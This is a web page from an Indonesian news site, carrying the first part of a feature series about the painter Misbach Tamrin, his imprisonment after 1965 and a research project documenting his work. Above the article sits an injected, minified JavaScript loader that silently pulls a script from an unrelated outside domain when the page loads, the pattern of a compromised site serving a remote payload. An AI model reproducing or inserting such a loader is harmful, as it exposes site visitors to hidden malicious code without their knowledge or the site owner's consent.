(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menyelami sepak terjang maestro seni lukis Misbach Tamrin ibarat menyusuri labirin panjang berliku yang tak gampang ditemukan ujung akhirnya.
Rentang panjang perjalanan dalam jagad seni rupa Indonesia menjadikannya sosok multi dimensi yang menyimpan banyak khazanah untuk diungkap.
Perkenalan saya secara pribadi dengan Misbach Tamrin, berawal dari ajakan pertemuan Sandi Firly, seorang penulis sekaligus jurnalis, pada pertengahan Januari 2024. Saat itu, dia mengirim pesan singkat kepada saya untuk bertemu di Minggu Raya (MGR) Banjarbaru, sebuah pusat kuliner populer di jantung Ibu Kota Provinsi Kalimantan Selatan.
“Lagi sibuk?”
“Tidak Bang, sedang di rumah,” jawab saya.
“Kalo bisa ke MGR, ini ada Hudan (seorang pegiat sastra) juga. Tapi kalau tidak bisa, jangan dipaksa.”
“Ok, saya datang Bang.”
“Ditunggu.” Sandy menutup percakapan.
Sesampainya di lokasi, di bawah lampu remang, pada dua buah meja yang sudah disusun menjadi satu, memanjang, duduk santai Hamdan Eko Benyamin -akrab disapa Bang Ben- Hudan Nur, dan Muhammad Muttaqin. Orang-orang yang sudah tidak asing di mata saya, mereka tergabung dalam Akademi Bangku Panjang Mingguraya (ABPM) Banjarbaru.
Pada perbincangan hingga hampir larut malam itu, mereka mengajak saya ikut mengerjakan program Dokumentasi Karya dan Pengetahuan Maestro/OPK Rawan Punah 2023. Proyek dari Museum Cagar Budaya melalui LPDP dan Dana Indonesiana, Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi.
Sandi Firly merekomendasikan saya untuk ikut sebagai anggota tim riset, bersama Melati Yusup. Sementara Haris Fadillah mengisi sebagai sekretaris, dan Hudan Nur sebagai ketua.
Sosok seniman lukis, Misbach Tamrin asal Kalimantan Selatan, diangkat menjadi target dalam proyek itu. Katanya, orang tersebut memiliki jejak sejarah perjalanan yang cukup panjang, dari masa rezim Orde Lama, Orde Baru hingga kini, di usianya yang sudah mencapai 83 tahun.
Dulu, saat pecahnya “Peristiwa 65”, Misbach Tamrin muda yang tergabung dalam Sanggar Bumi Tarung, juga Lembaga Kebudayaan Rakyat (Lekra), dianggap memiliki kedekatan ideologis dengan PKI. Dia pun dipenjara 13 tahun tanpa diadili.
Ketika bebas dari tahanan politik tanpa pengadilan, saat zaman Orde Baru, Misbach dibayar murah mengerjakan monumen, tugu, gapura kota, patung, relief, dan diorama, hingga kini masih berdiri kokoh di beberapa kabupaten kota di Kalimantan Selatan hingga Kalimantan Tengah.
Riset, hanyalah rangkaian awal. Sisanya, Sandi Firly dan kawan-kawan ditunjuk menggarap video dokumenter. Ada juga pembuatan produk buku dan katalog secara estafet oleh orang-orang lain. Semua pekerjaan ditarget, selesai pada Juli 2024.
Sebelum ke lapangan, tim riset dijadwalkan mengikuti kegiatan Focus Group Discussion (FGD) dan menyusun proposal. Setelah itu, tim melakukan penelusuran ke Kalimantan Selatan dan Kalimantan Tengah pada pertengahan April. Lalu dalam beberapa hari, tim akan menyasar daerah di luar pulau, seperti Jakarta dan Yogyakarta, untuk mencari data tambahan.
Posisi saya, yang dalam hal ini seperti orang yang tengah menganggur, tentu saja setuju untuk ikut bergabung. Hemat pikir, sosok yang diangkat adalah orang yang memiliki cerita sangat menarik. Meskipun perlakuan sewaktu menjadi tahanan politik di Kalimantan Selatan lebih longgar dan tidak sekejam tahanan politik di daerah lain, seperti di Pulau Sulawesi dalam kisah yang ditulis Eko Rusdianto, atau cerita hidup Rosidi di Pulau Jawa yang ditulis Tosca Santoso.
Belakangan, setelah seluruh rangkaian pekerjaan tim riset program Dokumentasi Karya dan Pengetahuan Maestro/OPK Rawan Punah 2023 selesai dilaksanakan, hampir setiap malam, ratusan buku jurnalistik yang saya susun di dapur -tempat favorit saya menghabiskan waktu di rumah- seolah selalu menghantui, berbisik untuk membuat cerita yang diangkat secara khusus dari kisah Misbach Tamrin.
Reportase dalam catatan perjalanan yang saya lakukan di Kalimantan, Jakarta dan Jogjakarta, akan menjadi kisah yang ditulis secara berseri di Kanalkalimantan.com. Pembaca bisa menikmati laporan ditulis dalam format jurnalisme sastrawi setiap pekan, terhitung mulai hari ini.
Berapa seri tulisan tentang Misbach Tamrin ini akan dibuat, saya sendiri pun tidak tahu. Mengalir saja dan, selamat membaca!. (Kanalkalimantan.com/rendy tisna)
Reporter: rendy tisna
Editor: cell/bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
This website uses cookies.